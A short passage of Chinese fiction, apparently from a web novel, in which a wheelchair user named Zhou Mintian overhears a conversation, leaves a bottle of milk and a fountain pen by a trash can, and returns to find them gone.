姜莱说得面无表情又一脸坦然,似乎只是在谈论一件今天吃了么的小事,让面前的程苒苒深信不疑。 也让一旁墙角后的周岷天慢慢垂下头,看向手中的那瓶牛奶,攥紧口袋里的钢笔。 他沉默片刻,操纵着轮椅走到垃圾桶旁,将牛奶和钢笔放到附近,退后几步,转身离开。 不多时,周岷天的身影再一次出现在这条街道上,他慌不择路地赶到垃圾桶附近,却发现那瓶牛奶已经被人清理掉,钢笔也不知所踪,甚至连垃圾桶里的东西都全然消失。 不见了。 不见了……